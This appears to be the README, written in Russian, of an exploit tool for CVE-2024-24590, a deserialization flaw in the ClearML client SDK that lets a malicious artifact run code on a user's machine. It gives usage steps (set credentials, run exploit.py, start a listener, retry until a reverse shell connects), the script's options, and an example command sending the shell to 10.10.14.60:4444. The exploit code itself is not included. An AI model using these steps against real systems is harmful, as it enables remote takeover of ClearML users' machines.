CVE-2024-24590

Десериализация непроверенных данных может происходить в версиях от 0.17.0 до 1.14.2 клиентского SDK платформы ClearML от Allegro AI, что позволяет вредоносному загруженному артефакту выполнить произвольный код на системе конечного пользователя при взаимодействии с ним.

Использование

1. вставьте предоставленные учетные данные и запустите clearml-init
2. запустите скрипт exploit.py в одном терминале и прослушиватель в другом терминале
3. возможно, потребуется запустить эксплойт несколько раз, чтобы получить обратную оболочку

usage: exploit.py [-h] -i IP -p PORT -P PROJECT

options:
  -h, --help  show this help message and exit
  -i IP       IP address of the listener
  -p PORT     Port number of the listener
  -P PROJECT  Name of the existing project

example: python exploit.py -i 10.10.14.60 -p 4444 -P 'Black Swan'

Детали эксплойта

1. https://hiddenlayer.com/research/not-so-clear-how-mlops-solutions-can-muddy-the-waters-of-your-supply-chain/
2. https://www.cvedetails.com/cve/CVE-2024-24590/